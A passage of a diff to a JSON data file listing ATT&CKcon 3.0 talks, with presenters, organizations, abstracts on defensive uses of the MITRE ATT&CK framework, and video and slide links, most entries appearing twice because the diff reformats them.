infosec workflow. But many of these select areas are those that are relatively isolated from the tactical operations faced every day by lower or mid-tier analysts. When faced with alert fatigue and an ever-growing number of data sources, the impact of ATT&CK can become esoteric to non-existent. In this presentation experts from Siemplify propose the problem be looked at like an orchestra with its dozens of instrument types. Without a conductor to guide each section there would only be noise, but with the conductor leading, beautiful symphonies can now be played. The Siemplify team plan to show how a SOAR platform can be that conductor using the ATT&CK framework as its sheet music, and turn the constant noise into a threat intel driven security program.", - "video": "https://www.youtube.com/watch?v=eim_AJvbbJg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=14", - "slides": "https://www.slideshare.net/MITREATTACK/the-attck-philharmonic" - }, - { - "title": "Automating the mundanity of technique IDs with ATT&CK Detections Collector", - "presenters": [ - { - "names": ["Marcus LaFerrera, Ryan Kovar"], - "organization": "Splunk" - } - ], - "description": "Since the release of MITRE ATT&CK, vendors and governmental bodies have begun mapping their security blogs, whitepapers, and threat intel reports to ATT&CK TTPs, which is incredible! Vendors have then begun mapping their detections to those mapped TTPs, which is even more awesome! What is not awesome is dissecting a piece of prose for all of the specific embedded ATT&CK technique IDs and then mapping them to your detections to determine coverage. Over the last year, the team at Splunk has spent more time doing this than they would like to admit, so they wrote a tool to do it for them and want to share it with the world. Join the Splunk team as they tell the world about ATT&CK Detections Collector (ADC). ADC is an open-source python tool that will allow you to extract MITRE technique IDs from a third-party URLs and output them into a file. If you use Splunk, the team even maps them to their existing (previously mapped) detection corpus. They even added the ability to export them into a navigator json for fun, profit, or (at least) better visualization!", - "video": "https://www.youtube.com/watch?v=MDl-Jqfc_kA&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=15", - "slides": "https://www.slideshare.net/MITREATTACK/automating-the-mundanity-of-technique-ids-with-attck-detections-collector" - }, - { - "title": "The ATT&CK Latin American APT Playbook", - "presenters": [ - { - "names": ["Santiago Pontiroli, Dmitry Bestuzhev"], - "organization": "Kaspersky" - } - ], - "description": "Financially motivated cyber-attacks thrive in emerging Latin American markets. However, there's room for locally grown threat actors operating in the cyber espionage field as well. During the last decade, this includes but is not limited to Blind Eagle, Puppeteer, Machete, Poseidon, and others. We also saw foreign operations targeting specific assets in Latin America, still connected to certain regional sources.Since the threat actors' origin, culture, and language is often different, it's not uncommon for tactics, techniques, and procedures (TTPs) to present marked differences. As a result of our regional expertise and experience, we created MITRE's ATT&CK play-by-play mappings to help other analysts understand regional actors. If you are interested in threat intelligence and what's going on in Latin America, this presentation is for you. Our work is based only on real-world attackers and their operations, including those not publicly known, such as COVID-19 Machete's targeted campaign.", - "video": "https://www.youtube.com/watch?v=-P2prH21_J8&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=19", - "slides": "https://www.slideshare.net/MITREATTACK/the-attck-latin-american-apt-playbook" - }, - { - "title": "Mapping ATT&CK Techniques to ENGAGE Activities", - "presenters": [ - { - "names": ["David Barroso"], - "organization": "CounterCraft" - } - ], - "description": "When an adversary engages in a specific behavior, they are vulnerable to expose an unintended weakness. By looking at each ATT&CK technique, we can examine the weaknesses revealed and identify an engagement activity or activities to exploit this weakness.During the presentation we will see some real examples of how we can use different ATT&CK techniques in order to plan different adversary engagement activities.", - "video": "https://www.youtube.com/watch?v=chzJb45UQrU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=20", - "slides": "https://www.slideshare.net/MITREATTACK/mapping-attck-techniques-to-engage-activities" - }, - { - "title": "When Insiders ATT&CK!", - "presenters": [ - { - "names": ["Matt Snyder"], - "organization": "VMWare" - } - ], - "description": "Insider threats are some of the most treacherous and every organization is susceptible: it's estimated that theft of Intellectual Property alone exceeds $600 billion a year. Armed with intimate knowledge of your organization and masked as legitimate business, often these attacks go unnoticed until it's too late and the damage is done. To make matters worse, threat actors are now trying to lure employees with the promise of large paydays to help carry out attacks. These advanced attacks require advanced solutions, and we are going to demonstrate how we are using the MITRE ATT&CK framework to proactively combat these threats. Armed with these tactics and techniques, we show you how to build intelligent detections to help secure even the toughest of environments.", - "video": "https://www.youtube.com/watch?v=qJ3DrNAbtxg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=21", - "slides": "https://www.slideshare.net/MITREATTACK/when-insiders-attck" - }, - { - "title": "ATT&CK Updates- ATT&CK for ICS", - "presenters": [ - { - "names": ["Otis Alexander"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=NDcDADDO4Sg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=22", - "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attck-for-ics" - }, - { - "title": "Exploring how Students Map Social Engineering Techniques to the ATT&CK Framework During a Real-Time Cybersecurity Exercise", - "presenters": [ - { - "names": ["Aunshul Rege"], - "organization": "Katorah Williams" - } - ], - "description": "Social engineering (SE) is a technique used by cybercriminals to psychologically manipulate individuals into disclosing sensitive information and providing unauthorized access. Penetration testers are tasked with simulating targeted attacks on a company's system to determine any weaknesses in their environment. The 2021 Summer SE Pen Test Competition allowed students to experience SE pen testing in a safe and ethical way. Student teams were \"hired\" to conduct a SE pen test on the CARE Lab (run by the authors) and their employees (the authors themselves)! Teams had to use OSINT, phishing, and vishing in real-time to target the lab, develop attack playbooks, and map the techniques to the ATT&CK framework. This talk shares the application of ATT&CK in cybersecurity education. Specifically, it (i) focuses on how students map their SE attack playbooks to the ATT&CK framework, (ii) compares/contrasts SE techniques across various student groups: 6 graduate teams, 9 undergraduate teams, and 1 high school team, and (iii) how ATT&CK can be used for SE.", - "video": "https://www.youtube.com/watch?v=GP9beFFHnWU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=24", - "slides": "https://www.slideshare.net/MITREATTACK/exploring-how-students-map-social-engineering-techniques-to-the-attck-framework-during-a-realtime-cybersecurity-exercise" - }, - { - "title": "ATT&CKing the Red/Blue Divide", - "presenters": [ - { - "names": ["Fred Frey, Jonathan Mulholland"], - "organization": "SnapAttack" - } - ], - "description": "Atomic Red Team and Sigma are the largest open-source attack simulation and analytic projects. Many organizations utilize one or both internally for security controls validation or supplementing their detections and alerts. Building on the work from these two great communities, we smashed (scientific-term) the attacks and analytics together and applied data science to analyze the results. We'll describe our methodology and testing framework, show the real-world MITRE ATT&CK coverage and gaps, discuss our algorithms for calculating analytic similarity, identifying log sources for a technique, and determining the best analytics to deploy that maximizes ATT&CK coverage. This project aims to:
- Bring a measurable testing rigor to community analytics to improve adoption
- Test every analytic against every attack, validating the true positive detection
- Understand the log sources required to detect specific attack techniques
- Apply data science to identify analytic similarity (reduce community duplication)
- Identify gaps between the projects' analytics without attack simulations; attack simulations without detections; missing or incorrect MITRE ATT&CK labels, etc
- Automate the process so insights can stay up to date with new attack/analytic contributions over time
- Share our analysis back to the community to improve these projects", - "video": "https://www.youtube.com/watch?v=lxAQiq2XtEQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=25", - "slides": "https://www.slideshare.net/MITREATTACK/attcking-the-redblue-divide" - }, - { - "title": "ATT&CK Updates- ATT&CK for mac/Linux", - "presenters": [ - { - "names": ["Cat Self"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=5q7goQKBQLc&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=26", - "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attck-for-maclinux" - }, - { - "title": "What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team", - "presenters": [ - { - "names": ["Brian Donohue"], - "organization": "Red Canary" - } - ], - "description": "This presentation will highlight the Atomic Red Team project's efforts to define and increase the test coverage of MITRE ATT&CK techniques. We'll describe the challenges we encountered in defining what \"coverage\" means in the context of an ATT&CK-based framework, and how to use that definition to improve an open source project that's used by a diverse audience of practitioners to satisfy an equally diverse array of needs. The audience will learn how the Atomic Red Team maintainers standardize and categorize atomic tests, perform gap analysis to achieve deep technique-level coverage and broad matrix-level coverage, and quickly fill those gaps with new tests.", - "video": "https://www.youtube.com/watch?v=RRq8jqFY6ts&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=28", - "slides": "https://www.slideshare.net/MITREATTACK/what-is-attck-coverage-anyway-breadth-and-depth-analysis-with-atomic-red-team" - }, - { - "title": "ATT&CKING Containers in The Cloud", - "presenters": [ - { - "names": ["Jared Stroud"], - "organization": "Lacework" - } - ], - "description": "Adversaries target common cloud misconfigurations in container-focused workflows for initial access. Whether this is Docker or Kubernetes environments, Lacework Labs has identified adversaries attempting to deploy malicious container images (T1610) , mine Cryptocurrency (T1496), and deploy C2 agents. Defenders new to the container space may be unaware of the built-in capabilities popular container runtime engines have that can help defend against rogue containers being deployed into their environment. Attendees will walk away with an understanding of what these attack patterns look like based on honeypot data Lacework has gathered over the past year, as well as techniques on how to defend their own container focused workloads.", - "video": "https://www.youtube.com/watch?v=eu6Jo2OQLIo&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=29", - "slides": "https://www.slideshare.net/MITREATTACK/attcking-contianers-in-the-cloud" - }, - { - "title": "Threat Modelling - It's not just for developers", - "presenters": [ - { - "names": ["Tim Wadhwa-Brown"], - "organization": "Cisco" - } - ], - "description": "The purpose of this session will be to look at how you can take public information about threat actors, vulnerabilities, and incidents and use them to build better defenses, utilizing ATT&CK along the way to align your security organization to the people and assets that matter.Stories are critical to how humans learn, so this session will leverage a story book approach to give the audience some ideas on approaches they could use. Tim will take the audience through 3 real world examples where he has leveraged ATT&CK to drive operational improvement. The premise of each story will be real, although some of the details will be apocryphal to protect the innocent.One story will focus on defending a network, one will look at adversary detection, while the final one will look at responding to an active attack and in each case, Tim will guide the audience to think about the kinds of data sources that ATT&CK tracks, that they might call upon to achieve a successful outcome.", - "video": "https://www.youtube.com/watch?v=zBp5AUBS1gQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=30", - "slides": "https://www.slideshare.net/MITREATTACK/threat-modelling-its-not-just-for-developerspdf" - }, - { - "title": "ATT&CK Updates- ATT&CK's Open Source", - "presenters": [ - { - "names": ["Jared Ondricek"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=OdIPHKbrXOM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=31", - "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attcks-open-source" - }, - { - "title": "Projects to Impact- Operationalizing Work from the Center", - "presenters": [ - { - "names": ["Ingrid Skoog"], - "organization": "MITRE Engenuity" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=se2c3e4D-DE&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=32", - "slides": "https://www.slideshare.net/MITREATTACK/projects-to-impact-operationalizing-work-from-the-center" - } + { + "title": "Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn From the Civil War", + "presenters": [ + { + "names": [ + "Selena Larson" + ], + "organization": "Proofpoint" + } + ], + "description": "ATT&CKcon 3.0 Keynote. Read the accompanying blog post as well.", + "video": "https://www.youtube.com/watch?v=07eaF2RVxK0&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=2", + "slides": "https://www.slideshare.net/MITREATTACK/intelligence-failures-of-lincolns-top-spies-what-cti-analysts-can-learn-from-the-civil-war" + }, + { + "title": "State of the ATT&CK", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=1JLZkNe085g&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=3", + "slides": "https://www.slideshare.net/MITREATTACK/state-of-the-attck" + }, + { + "title": "Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interactive Intrusion Campaigns.pdf", + "presenters": [ + { + "names": [ + "Jason Wood, Justin Swisher" + ], + "organization": "CrowdStrike" + } + ], + "description": "When it comes to understanding and tracking intrusion tradecraft, security teams must have the tools and processes that allow the mapping of hands-on adversary tradecraft. Doing this enables your team to both understand the adversaries and attacks you currently see and observe how these adversaries and attacks evolve over time. This session will explore how a threat hunting team uses MITRE ATT&CK to understand and categorize adversary activity. The team will demonstrate how threat hunters map ATT&CK TTPs by showcasing a recent interactive intrusion against a Linux endpoint and how the framework allowed for granular tracking of tradecraft and enhanced security operations. They will also take a look into the changes in the Linux activity they have observed over time, using the ATT&CK navigator to compare and contrast technique usage. This session will provide insights into how we use MITRE ATT&CK as a powerful resource to track intrusion tradecraft, identify adversary trends, and prepare for attacks of the future.", + "video": "https://www.youtube.com/watch?v=uYJAoedpJkQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=4", + "slides": "https://www.slideshare.net/MITREATTACK/mapping-to-mitre-attck-enhancing-operations-through-the-tracking-of-interactive-intrusion-campaignspdf" + }, + { + "title": "Knowledge for the masses: Storytelling with ATT&CK", + "presenters": [ + { + "names": [ + "Ismael Valenzuela, Jose Luis Sanchez Martinez" + ], + "organization": "Trellix" + } + ], + "description": "The Trellix team believes that creating and sharing compelling stories about cyber threats -with ATT&CK- is a powerful way for raising awareness and enabling actionability against cyber threats.In this talk the team will share their experiences leveraging ATT&CK to disseminate Threat knowledge to different audiences (Software Development teams, Managers, Threat detection engineers, Threat hunters, Cyber Threat Analysts, Support Engineers, upper management, etc.).They will show concrete examples and representations created with ATT&CK to describe the threats at different levels, including: 1) an Attack Path graph that shows the overall flow of the attack; 2) Tactic-specific TTP summary tables and graphs; 3) very detailed, step-by-step description of the attacker's behaviors. ", + "video": "https://www.youtube.com/watch?v=eRHw-An9NuI&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=5", + "slides": "https://www.slideshare.net/MITREATTACK/knowledge-for-the-masses-storytelling-with-attck" + }, + { + "title": "Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK", + "presenters": [ + { + "names": [ + "Haylee Mills" + ], + "organization": "Splunk" + } + ], + "description": "Having ATT&CK to identify threats, prioritize data sources, and improve security posture has been a huge step forward for our industry, but how do we actualize those insights for better detection and alerting? By shifting to observations of behavior over one-to-one direct alerts, noisy datasets become valuable treasure troves with ATT&CK metadata. Additionally, we can begin to look at detection and threat hunting on behavior instead of users or systems. In this presentation, Haylee will discuss the shift in mindset and the nuts and bolts of detections that leverage this metadata in Splunk, but the concept can be applied with custom tools to any valuable security dataset.", + "video": "https://www.youtube.com/watch?v=qqNUmfOW3gU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=6", + "slides": "https://www.slideshare.net/MITREATTACK/tracking-noisy-behavior-and-riskbased-alerting-with-attckpdf" + }, + { + "title": "ATT&CK Updates- Defensive ATT&CK", + "presenters": [ + { + "names": [ + "Lex Crumpton" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=eBeIRYeq7SM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=7", + "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-defensive-attck" + }, + { + "title": "Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly Valued Data Sources", + "presenters": [ + { + "names": [ + "Jonny Johnson, Olaf Hartong" + ], + "organization": "Red Canary and FalconForce" + } + ], + "description": "As defenders, we often find ourselves wanting \"more\" data. But why? Will this new data provide a lot of value or is it for a very niche circumstance? How many attacks does it apply to? Are we leveraging previous data sources to their full capability? Within this talk, Olaf and Jonny will walk through different data sources they leverage more than most when analyzing data within environments, why they do, and what these data sources do and can provide in terms of value to a defender.", + "video": "https://www.youtube.com/watch?v=ba2e9pWxboU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=8", + "slides": "https://www.slideshare.net/MITREATTACK/would-you-rather-have-telemetry-into-2-attacks-or-20-an-insight-into-highly-valued-data-sources" + }, + { + "title": "ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK", + "presenters": [ + { + "names": [ + "Gert-Jan Bruggink" + ], + "organization": "Venation" + } + ], + "description": "Since it's inception in 2015, the ATT&CK framework has achieved widespread adoption, with recent studies suggesting over 80 percent of companies using the framework for cyber security. Over the last seven years, a variety of use cases has been explored with different measures of success. In this presentation, Gert-Jan will explore applying the ATT&CK framework in scenario-based defense. When adopting a scenario approach, security teams collaborate to fuse their understanding of certain situations into scenarios. For example, addressing different hypotheses that can be explained to leadership and specialist teams alike. This approach requires more than \"just\" breaking down everything into tactics, techniques, and procedures. Some stakeholders might not understand that. For example, some might want to tell a good story about adversaries while others want to translate their understanding of intrusions into a sequential pattern. The objective of this talk is to explore how the granularity of the framework supports creation of scenarios, the limitations in the current approach to ATT&CK when building scenarios across different stakeholders, and addressing potential areas the \"language of ATT&CK\" can evolve towards over the next 5 years.", + "video": "https://www.youtube.com/watch?v=-sP9wDXH3B4&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=9", + "slides": "https://www.slideshare.net/MITREATTACK/attck-metaverse-exploring-the-limitations-of-applying-attck" + }, + { + "title": "It's just a jump to the left (of boom): Prioritizing detection implementation with intelligence and ATT&CK", + "presenters": [ + { + "names": [ + "Lindsay Kaye, Scott Small" + ], + "organization": "Recorded Future" + } + ], + "description": "Many organizations ask: \"Where do I start, and where do I go next\" when prioritizing implementation of behavior-based detections? We often hear \"use threat intelligence!\" but your goals must be qualified and quantified in order to properly prioritize the most relevant TTPs. A wealth of open-sourced, ATT&CK-mapped resources now exists, giving security teams greater access to both detections and red team tests they can implement, but intelligence (also aligned with ATT&CK), is essential to provide necessary context to ensure that detection efforts are focused effectively.
This session will discuss a new approach to the prioritization challenge, starting with an analysis of the current defensive landscape, as measured by ATT&CK coverage for more than a dozen detection repositories and technologies, and guidance on sourcing TTP intelligence. The team will then show how real-world defensive strategies can be strengthened by encompassing a full-spectrum view of threat detection, including the implementation of YARA, Sigma, and Snort in security appliances. Critically, alignment of both intelligence and defenses with ATT&CK enables defenders to move the focus of detection efforts to indications of malicious behavior before the final payload is deployed, where controls are most effective at preventing serious damage to the organization.", + "video": "https://www.youtube.com/watch?v=pwl7L_Lh9_c&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=10", + "slides": "https://www.slideshare.net/MITREATTACK/its-just-a-jump-to-the-left-of-boom-prioritizing-detection-implementation-with-intelligence-and-attck" + }, + { + "title": "ATT&CK Updates- Campaigns", + "presenters": [ + { + "names": [ + "Matt Malone" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=yP0upd-65Yc&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=12", + "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-campaigns" + }, + { + "title": "Landing on Jupyter: The transformative power of data-driven storytelling for security operations", + "presenters": [ + { + "names": [ + "Jose Barajas, Stephan Chenette" + ], + "organization": "AttackIQ" + } + ], + "description": "Every cybersecurity leader wants visibility into the health of their security program. Yet teams suffer with disparate data streams - CTI teams and the SOC often use separate Excel spreadsheets, an anachronistic practice - and silos constrain their ability to operate effectively. Enter the Jupyter notebook, an open-source computational notebook that researchers use to combine code, computing output, text, and media into a single interface. In this talk, we share three stories of how organizations use Jupyter notebooks to align ATT&CK-based attack flows to the security program, generating data about detection and prevention failures, defensive gaps, and longitudinal performance. By using Jupyter notebooks in this way, teams can better leverage ATT&CK for security effectiveness. It becomes less of a bingo card and more of a strategic tool for understanding the health of the program against big tactics (I.e., lateral movement), defensive gaps (I.e., micro-segmentation), and the team's performance.", + "video": "https://www.youtube.com/watch?v=pGBzbrLnYmM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=13", + "slides": "https://www.slideshare.net/MITREATTACK/landing-on-jupyter-the-transformative-power-of-datadriven-storytelling-for-security-operations" + }, + { + "title": "The ATT&CK Philharmonic", + "presenters": [ + { + "names": [ + "Ivan Ninichuck, Andy Shepard" + ], + "organization": "Siemplify" + } + ], + "description": "The MITRE ATT&CK framework has improved many areas within the infosec workflow. But many of these select areas are those that are relatively isolated from the tactical operations faced every day by lower or mid-tier analysts. When faced with alert fatigue and an ever-growing number of data sources, the impact of ATT&CK can become esoteric to non-existent. In this presentation experts from Siemplify propose the problem be looked at like an orchestra with its dozens of instrument types. Without a conductor to guide each section there would only be noise, but with the conductor leading, beautiful symphonies can now be played. The Siemplify team plan to show how a SOAR platform can be that conductor using the ATT&CK framework as its sheet music, and turn the constant noise into a threat intel driven security program.", + "video": "https://www.youtube.com/watch?v=eim_AJvbbJg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=14", + "slides": "https://www.slideshare.net/MITREATTACK/the-attck-philharmonic" + }, + { + "title": "Automating the mundanity of technique IDs with ATT&CK Detections Collector", + "presenters": [ + { + "names": [ + "Marcus LaFerrera, Ryan Kovar" + ], + "organization": "Splunk" + } + ], + "description": "Since the release of MITRE ATT&CK, vendors and governmental bodies have begun mapping their security blogs, whitepapers, and threat intel reports to ATT&CK TTPs, which is incredible! Vendors have then begun mapping their detections to those mapped TTPs, which is even more awesome! What is not awesome is dissecting a piece of prose for all of the specific embedded ATT&CK technique IDs and then mapping them to your detections to determine coverage. Over the last year, the team at Splunk has spent more time doing this than they would like to admit, so they wrote a tool to do it for them and want to share it with the world. Join the Splunk team as they tell the world about ATT&CK Detections Collector (ADC). ADC is an open-source python tool that will allow you to extract MITRE technique IDs from a third-party URLs and output them into a file. If you use Splunk, the team even maps them to their existing (previously mapped) detection corpus. They even added the ability to export them into a navigator json for fun, profit, or (at least) better visualization!", + "video": "https://www.youtube.com/watch?v=MDl-Jqfc_kA&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=15", + "slides": "https://www.slideshare.net/MITREATTACK/automating-the-mundanity-of-technique-ids-with-attck-detections-collector" + }, + { + "title": "The ATT&CK Latin American APT Playbook", + "presenters": [ + { + "names": [ + "Santiago Pontiroli, Dmitry Bestuzhev" + ], + "organization": "Kaspersky" + } + ], + "description": "Financially motivated cyber-attacks thrive in emerging Latin American markets. However, there's room for locally grown threat actors operating in the cyber espionage field as well. During the last decade, this includes but is not limited to Blind Eagle, Puppeteer, Machete, Poseidon, and others. We also saw foreign operations targeting specific assets in Latin America, still connected to certain regional sources.Since the threat actors' origin, culture, and language is often different, it's not uncommon for tactics, techniques, and procedures (TTPs) to present marked differences. As a result of our regional expertise and experience, we created MITRE's ATT&CK play-by-play mappings to help other analysts understand regional actors. If you are interested in threat intelligence and what's going on in Latin America, this presentation is for you. Our work is based only on real-world attackers and their operations, including those not publicly known, such as COVID-19 Machete's targeted campaign.", + "video": "https://www.youtube.com/watch?v=-P2prH21_J8&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=19", + "slides": "https://www.slideshare.net/MITREATTACK/the-attck-latin-american-apt-playbook" + }, + { + "title": "Mapping ATT&CK Techniques to ENGAGE Activities", + "presenters": [ + { + "names": [ + "David Barroso" + ], + "organization": "CounterCraft" + } + ], + "description": "When an adversary engages in a specific behavior, they are vulnerable to expose an unintended weakness. By looking at each ATT&CK technique, we can examine the weaknesses revealed and identify an engagement activity or activities to exploit this weakness.During the presentation we will see some real examples of how we can use different ATT&CK techniques in order to plan different adversary engagement activities.", + "video": "https://www.youtube.com/watch?v=chzJb45UQrU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=20", + "slides": "https://www.slideshare.net/MITREATTACK/mapping-attck-techniques-to-engage-activities" + }, + { + "title": "When Insiders ATT&CK!", + "presenters": [ + { + "names": [ + "Matt Snyder" + ], + "organization": "VMWare" + } + ], + "description": "Insider threats are some of the most treacherous and every organization is susceptible: it's estimated that theft of Intellectual Property alone exceeds $600 billion a year. Armed with intimate knowledge of your organization and masked as legitimate business, often these attacks go unnoticed until it's too late and the damage is done. To make matters worse, threat actors are now trying to lure employees with the promise of large paydays to help carry out attacks. These advanced attacks require advanced solutions, and we are going to demonstrate how we are using the MITRE ATT&CK framework to proactively combat these threats. Armed with these tactics and techniques, we show you how to build intelligent detections to help secure even the toughest of environments.", + "video": "https://www.youtube.com/watch?v=qJ3DrNAbtxg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=21", + "slides": "https://www.slideshare.net/MITREATTACK/when-insiders-attck" + }, + { + "title": "ATT&CK Updates- ATT&CK for ICS", + "presenters": [ + { + "names": [ + "Otis Alexander" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=NDcDADDO4Sg&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=22", + "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attck-for-ics" + }, + { + "title": "Exploring how Students Map Social Engineering Techniques to the ATT&CK Framework During a Real-Time Cybersecurity Exercise", + "presenters": [ + { + "names": [ + "Aunshul Rege" + ], + "organization": "Katorah Williams" + } + ], + "description": "Social engineering (SE) is a technique used by cybercriminals to psychologically manipulate individuals into disclosing sensitive information and providing unauthorized access. Penetration testers are tasked with simulating targeted attacks on a company's system to determine any weaknesses in their environment. The 2021 Summer SE Pen Test Competition allowed students to experience SE pen testing in a safe and ethical way. Student teams were \"hired\" to conduct a SE pen test on the CARE Lab (run by the authors) and their employees (the authors themselves)! Teams had to use OSINT, phishing, and vishing in real-time to target the lab, develop attack playbooks, and map the techniques to the ATT&CK framework. This talk shares the application of ATT&CK in cybersecurity education. Specifically, it (i) focuses on how students map their SE attack playbooks to the ATT&CK framework, (ii) compares/contrasts SE techniques across various student groups: 6 graduate teams, 9 undergraduate teams, and 1 high school team, and (iii) how ATT&CK can be used for SE.", + "video": "https://www.youtube.com/watch?v=GP9beFFHnWU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=24", + "slides": "https://www.slideshare.net/MITREATTACK/exploring-how-students-map-social-engineering-techniques-to-the-attck-framework-during-a-realtime-cybersecurity-exercise" + }, + { + "title": "ATT&CKing the Red/Blue Divide", + "presenters": [ + { + "names": [ + "Fred Frey, Jonathan Mulholland" + ], + "organization": "SnapAttack" + } + ], + "description": "Atomic Red Team and Sigma are the largest open-source attack simulation and analytic projects. Many organizations utilize one or both internally for security controls validation or supplementing their detections and alerts. Building on the work from these two great communities, we smashed (scientific-term) the attacks and analytics together and applied data science to analyze the results. We'll describe our methodology and testing framework, show the real-world MITRE ATT&CK coverage and gaps, discuss our algorithms for calculating analytic similarity, identifying log sources for a technique, and determining the best analytics to deploy that maximizes ATT&CK coverage. This project aims to:
- Bring a measurable testing rigor to community analytics to improve adoption
- Test every analytic against every attack, validating the true positive detection
- Understand the log sources required to detect specific attack techniques
- Apply data science to identify analytic similarity (reduce community duplication)
- Identify gaps between the projects' analytics without attack simulations; attack simulations without detections; missing or incorrect MITRE ATT&CK labels, etc
- Automate the process so insights can stay up to date with new attack/analytic contributions over time
- Share our analysis back to the community to improve these projects", + "video": "https://www.youtube.com/watch?v=lxAQiq2XtEQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=25", + "slides": "https://www.slideshare.net/MITREATTACK/attcking-the-redblue-divide" + }, + { + "title": "ATT&CK Updates- ATT&CK for mac/Linux", + "presenters": [ + { + "names": [ + "Cat Self" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=5q7goQKBQLc&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=26", + "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attck-for-maclinux" + }, + { + "title": "What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "This presentation will highlight the Atomic Red Team project's efforts to define and increase the test coverage of MITRE ATT&CK techniques. We'll describe the challenges we encountered in defining what \"coverage\" means in the context of an ATT&CK-based framework, and how to use that definition to improve an open source project that's used by a diverse audience of practitioners to satisfy an equally diverse array of needs. The audience will learn how the Atomic Red Team maintainers standardize and categorize atomic tests, perform gap analysis to achieve deep technique-level coverage and broad matrix-level coverage, and quickly fill those gaps with new tests.", + "video": "https://www.youtube.com/watch?v=RRq8jqFY6ts&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=28", + "slides": "https://www.slideshare.net/MITREATTACK/what-is-attck-coverage-anyway-breadth-and-depth-analysis-with-atomic-red-team" + }, + { + "title": "ATT&CKING Containers in The Cloud", + "presenters": [ + { + "names": [ + "Jared Stroud" + ], + "organization": "Lacework" + } + ], + "description": "Adversaries target common cloud misconfigurations in container-focused workflows for initial access. Whether this is Docker or Kubernetes environments, Lacework Labs has identified adversaries attempting to deploy malicious container images (T1610) , mine Cryptocurrency (T1496), and deploy C2 agents. Defenders new to the container space may be unaware of the built-in capabilities popular container runtime engines have that can help defend against rogue containers being deployed into their environment. Attendees will walk away with an understanding of what these attack patterns look like based on honeypot data Lacework has gathered over the past year, as well as techniques on how to defend their own container focused workloads.", + "video": "https://www.youtube.com/watch?v=eu6Jo2OQLIo&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=29", + "slides": "https://www.slideshare.net/MITREATTACK/attcking-contianers-in-the-cloud" + }, + { + "title": "Threat Modelling - It's not just for developers", + "presenters": [ + { + "names": [ + "Tim Wadhwa-Brown" + ], + "organization": "Cisco" + } + ], + "description": "The purpose of this session will be to look at how you can take public information about threat actors, vulnerabilities, and incidents and use them to build better defenses, utilizing ATT&CK along the way to align your security organization to the people and assets that matter.Stories are critical to how humans learn, so this session will leverage a story book approach to give the audience some ideas on approaches they could use. Tim will take the audience through 3 real world examples where he has leveraged ATT&CK to drive operational improvement. The premise of each story will be real, although some of the details will be apocryphal to protect the innocent.One story will focus on defending a network, one will look at adversary detection, while the final one will look at responding to an active attack and in each case, Tim will guide the audience to think about the kinds of data 